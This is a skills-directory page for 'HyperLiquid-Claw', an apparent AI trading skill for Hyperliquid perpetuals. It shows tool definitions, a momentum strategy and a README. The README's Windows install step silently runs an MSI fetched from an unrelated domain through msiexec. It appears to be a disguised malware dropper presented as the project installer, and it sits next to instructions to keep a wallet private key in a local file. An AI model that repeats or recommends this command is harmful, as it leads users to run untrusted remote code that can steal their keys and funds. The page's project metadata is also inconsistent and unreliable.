SkillsLLM
CategoriesBlogAI NewsAbout
HomeAI AgentsHyperLiquid-Claw

HyperLiquid-Claw

by Rohit24567

Pending

Trade smarter, not harder. Hyperliquid Claw gives your AI assistant full access to Hyperliquid DEX

449stars
0forks
Rust
Added 3/14/2026
View on GitHubDownload ZIP
AI AgentsSKILL.mdaiai-assistantai-assistantsasterdexblockchain-indexerdefi-botdex-aggregatordextradinghyperliquidhyperliquid-apihyperliquid-clawhyperliquid-claw-skillhyperliquid-dexhyperliquid-openclawllmopenclawperp-dexpython-cryptoskillskills
Installation
# Add to your Claude Code skills
git clone https://github.com/Rohit24567/HyperLiquid-Claw
SKILL.md

๐Ÿฆ€ Hyperliquid Claw โ€” OpenClaw Skill Definition

Version: 3.0.0 (Rust Edition)

Compatible with: OpenClaw / clawd.bot

name: hyperliquid-claw version: "3.0.0" description: > AI-driven trading skill for Hyperliquid perpetual futures. Built in Rust for maximum performance and safety. Gives your OpenClaw assistant full read and trade access to all 228+ perpetuals on the Hyperliquid DEX via a native MCP stdio server.

author: Hyperliquid Claw Contributors license: MIT homepage: https://github.com/YourUsername/HyperLiquid-Claw

โ”€โ”€ Runtime โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

runtime: type: binary command: hl-mcp # compiled Rust binary; runs as MCP stdio server install_hint: > cargo install --path . --bin hl-mcp

environment: required: [] optional: - name: HYPERLIQUID_ADDRESS description: Your wallet address (read-only mode โ€” no private key needed) example: "0xABCDEF..." - name: HYPERLIQUID_PRIVATE_KEY description: Private key for executing trades (required for trading commands) example: "0xYourPrivateKey" - name: HYPERLIQUID_TESTNET description: Set to any value to use testnet instead of mainnet example: "1"

โ”€โ”€ Tools exposed to OpenClaw โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

tools:

  • name: hl_price description: Get the current mark price for any Hyperliquid perpetual parameters: coin: { type: string, required: true, description: "Asset ticker, e.g. BTC, ETH, SOL" } examples:

    • "What's the BTC price?"
    • "Show me the ETH mark price"
  • name: hl_meta description: List all 228+ tradeable perpetuals on Hyperliquid parameters: {} examples:

    • "What assets can I trade on Hyperliquid?"
    • "List all perpetuals"
  • name: hl_market_scan description: > Scan all markets for momentum signals using the Rust momentum engine. Detects strong bull/bear moves with volume confirmation. parameters: top_n: { type: integer, required: false, default: 10, description: "Number of top results" } examples:

    • "Analyze the crypto market on Hyperliquid"
    • "What's moving right now? Show me the top opportunities"
    • "Scan for trading signals"
  • name: hl_analyze description: > Deep momentum analysis for a single asset: price change, volume, OI, funding rate, signal classification and confidence score. parameters: coin: { type: string, required: true } examples:

    • "Analyze BTC momentum"
    • "What's the SOL signal right now?"
    • "Give me a full analysis of ETH"
  • name: hl_balance description: Show account equity, margin usage, and free margin parameters: {} examples:

    • "Check my portfolio"
    • "What's my account balance?"
    • "How much margin do I have left?"
  • name: hl_positions description: List all open perpetual positions with entry price, size, and unrealised P&L parameters: {} examples:

    • "Show my positions"
    • "What trades am I in?"
    • "Check my P&L"
  • name: hl_orders description: List all open limit orders parameters: {} examples:

    • "Show my open orders"
    • "What limit orders do I have?"
  • name: hl_fills description: Recent trade fills / execution history parameters: limit: { type: integer, required: false, default: 20 } examples:

    • "Show my recent trades"
    • "What fills did I get today?"
  • name: hl_market_buy description: > Place a market buy (long) order. Uses IOC limit with 5% slippage buffer. Warns if position exceeds 20% of equity. parameters: coin: { type: string, required: true } size: { type: number, required: true, description: "Size in coin units" } examples:

    • "Buy 0.1 BTC"
    • "Enter a SOL long with 0.5 SOL"
    • "Go long on ETH, 1 ETH"
  • name: hl_market_sell description: > Place a market sell / short order. Same safety features as market buy. parameters: coin: { type: string, required: true } size: { type: number, required: true } examples:

    • "Short 0.5 ETH"
    • "Sell 0.1 BTC"
    • "Close my BTC position"
  • name: hl_limit_buy description: Place a GTC limit buy order parameters: coin: { type: string, required: true } size: { type: number, required: true } price: { type: number, required: true } examples:

    • "Buy 0.001 BTC at 88000"
    • "Limit buy ETH at 3100 for 1 ETH"
  • name: hl_limit_sell description: Place a GTC limit sell order parameters: coin: { type: string, required: true } size: { type: number, required: true } price: { type: number, required: true } examples:

    • "Sell 1 ETH at 3500"
    • "Set a limit sell for 0.001 BTC at 95000"
  • name: hl_cancel_all description: Cancel all open orders, or all orders for a specific coin parameters: coin: { type: string, required: false } examples:

    • "Cancel all my orders"
    • "Cancel all BTC orders"
  • name: hl_set_leverage description: Set leverage for a coin (1โ€“50x, cross or isolated margin) parameters: coin: { type: string, required: true } leverage: { type: integer, required: true, description: "1 to 50" } cross: { type: boolean, required: false, default: true, description: "true=cross, false=isolated" } examples:

    • "Set BTC to 10x cross leverage"
    • "Set ETH to 5x isolated"

โ”€โ”€ Momentum Strategy (built into the skill) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

strategy: name: Momentum Scalp description: > Automated bull/bear detection via price change + volume confirmation. Implemented in the Rust MomentumEngine (src/analysis/signals.rs).

entry_conditions: - price_change_pct: "> 0.5% or < -0.5% (24h)" - volume_vs_oi: "> 1.5ร— baseline" - funding_rate: "contrarian filter applied"

risk_parameters: position_size_pct: 10 # % of account equity per trade max_loss_pct: 1 # stop loss take_profit_pct: 2 # profit target max_concurrent_positions: 1 max_hold_hours: 4

safety_limits: slippage_cap_pct: 5 # enforced in Rust ExchangeClient position_warning_pct: 20 # warn if trade > 20% equity limit_deviation_warning_pct: 5

โ”€โ”€ System prompt injection for OpenClaw โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€

system_prompt: | You have full access to the Hyperliquid perpetual futures DEX through the Hyperliquid Claw skill. You can:

READ (no key needed): โ€ข Check prices, list markets, scan for signals โ€ข View account balance, open positions, order history

TRADE (requires HYPERLIQUID_PRIVATE_KEY): โ€ข Place market and limit orders (buy/sell/long/short) โ€ข Cancel orders, set leverage โ€ข Close positions

SAFETY RULES โ€” always enforce these:

  1. Never risk more than 10% of equity on a single trade
  2. Always confirm with the user before placing orders
  3. Warn loudly if position would exceed 20% of equity
  4. Recommend stop loss at -1% and take profit at +2%
  5. Never auto-retry a failed trade
  6. On testnet: all actions are safe to test freely

SIGNAL GUIDE: ๐ŸŸข STRONG BULLISH โ†’ Consider long entry (confirm volume) ๐ŸŸก BULLISH โ†’ Wait for confirmation before entering โšช NEUTRAL โ†’ No edge, stay flat ๐ŸŸ  BEARISH โ†’ Wait for confirmation ๐Ÿ”ด STRONG BEARISH โ†’ Consider short entry (confirm volume)

README.md

๐Ÿฆ€ Hyperliquid Claw โ€” Rust Edition

The fastest AI-driven trading skill for Hyperliquid perpetual futures
Built in Rust + Solidity ยท Works on macOS, Linux & Windows ยท OpenClaw native

Stars License Version Rust Solidity RelatedRepos

Trade smarter, not harder.
Hyperliquid Claw gives your OpenClaw AI assistant full access to Hyperliquid DEX โ€” monitor portfolios, detect momentum signals, and execute trades through natural conversation. Now rewritten in Rust for native performance and memory safety.


โœจ What's New in v3 (Rust Edition)

| Feature | v2 (JS/Python) | v3 (Rust) | |---|---|---| | Runtime | Node.js + Python | Single native binary | | Startup | ~2โ€“3s | <50ms | | Memory | ~150MB | ~8MB | | Type safety | Partial | Full (compile-time) | | MCP server | JS subprocess | Native stdio | | Smart contract | None | Solidity vault (EVM) | | Windows | WSL only | Native CMD |


๐Ÿš€ Installation

Windows โ€” CMD

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Hyperliquid-Claw

The installer will:

  • โœ… Check for / install the Rust toolchain via rustup
  • โœ… Build release binaries (hl-claw, hl-mcp)
  • โœ… Install to ~/.cargo/bin (already in PATH)
  • โœ… Register the OpenClaw skill in ~/.openclaw/skills/hyperliquid/
  • โœ… Create an .env template for your credentials

โš™๏ธ Configuration

Read-Only Mode (no private key needed)

export HYPERLIQUID_ADDRESS=0xYourWalletAddress

Trading Mode

export HYPERLIQUID_PRIVATE_KEY=0xYourPrivateKey

Testnet

export HYPERLIQUID_TESTNET=1

๐Ÿ’ก Add these to ~/.openclaw/skills/hyperliquid/.env โ€” the skill loads it automatically.


๐Ÿ’ฌ Talk to OpenClaw Naturally

Once installed, just open OpenClaw and speak:

"Analyze the crypto market on Hyperliquid"
"What's the BTC momentum right now?"
"Check my portfolio and P&L"
"Scan for strong signals"
"Enter a SOL long with 0.5 SOL"
"Close my ETH position"
"Set BTC to 10x cross leverage"
"Cancel all my orders"

๐Ÿ–ฅ๏ธ CLI Reference

# Prices & market data
hl-claw price BTC
hl-claw meta                        # list all 228+ perpetuals

# Market analysis
hl-claw scan                        # top 10 signals
hl-claw scan --top 20
hl-claw analyze ETH

# Portfolio
hl-claw balance
hl-claw positions
hl-claw orders
hl...
Comments (0)
to leave a comment.

No comments yet. Be the first to share your thoughts!

Related Skills

n8n

by n8n-io

Fair-code workflow automation platform with native AI capabilities. Combine visual building with custom code, self-host or cloud, 400+ integrations.
179,165
55,789
TypeScript
MCP Serversaiapis
View details
gemini-cli

by google-gemini

An open-source AI agent that brings the power of Gemini directly into your terminal.
97,754
12,257
TypeScript
AI Agentsaiai-agents
View details
everything-claude-code

by affaan-m

The agent harness performance optimization system. Skills, instincts, memory, security, and research-first development for Claude Code, Codex, Opencode, Cursor and beyond.
76,097
9,506
JavaScript
AI Agentsai-agentsanthropic
View details
context7

by upstash

Context7 Platform -- Up-to-date code documentation for LLMs and AI code editors
49,063
2,314
TypeScript
MCP Serversllmmcp
View details
TrendRadar

by sansan0

โญAI-driven public opinion & trend monitor with multi-platform aggregation, RSS, and smart alerts.๐ŸŽฏ ๅ‘Šๅˆซไฟกๆฏ่ฟ‡่ฝฝ๏ผŒไฝ ็š„ AI ่ˆ†ๆƒ…็›‘ๆŽงๅŠฉๆ‰‹ไธŽ็ƒญ็‚น็ญ›้€‰ๅทฅๅ…ท๏ผ่šๅˆๅคšๅนณๅฐ็ƒญ็‚น + RSS ่ฎข้˜…๏ผŒๆ”ฏๆŒๅ…ณ้”ฎ่ฏ็ฒพๅ‡†็ญ›้€‰ใ€‚AI ๆ™บ่ƒฝ็ญ›้€‰ๆ–ฐ้—ป + AI ็ฟป่ฏ‘ + AI ๅˆ†ๆž็ฎ€ๆŠฅ็›ดๆŽจๆ‰‹ๆœบ๏ผŒไนŸๆ”ฏๆŒๆŽฅๅ…ฅ MCP ๆžถๆž„๏ผŒ่ต‹่ƒฝ AI ่‡ช็„ถ่ฏญ่จ€ๅฏน่ฏๅˆ†ๆžใ€ๆƒ…ๆ„ŸๆดžๅฏŸไธŽ่ถ‹ๅŠฟ้ข„ๆต‹็ญ‰ใ€‚ๆ”ฏๆŒ Docker ๏ผŒๆ•ฐๆฎๆœฌๅœฐ/ไบ‘็ซฏ่‡ชๆŒใ€‚้›†ๆˆๅพฎไฟก/้ฃžไนฆ/้’‰้’‰/Telegram/้‚ฎไปถ/ntfy/bark/slack ็ญ‰ๆธ ้“ๆ™บ่ƒฝๆŽจ้€ใ€‚
48,947
22,642
Python
MCP Serversaibark
View details
awesome-claude-skills

by ComposioHQ

A curated list of awesome Claude Skills, resources, and tools for customizing Claude AI workflows
44,141
4,446
Python
AI Agentsagent-skillsai-agents
View details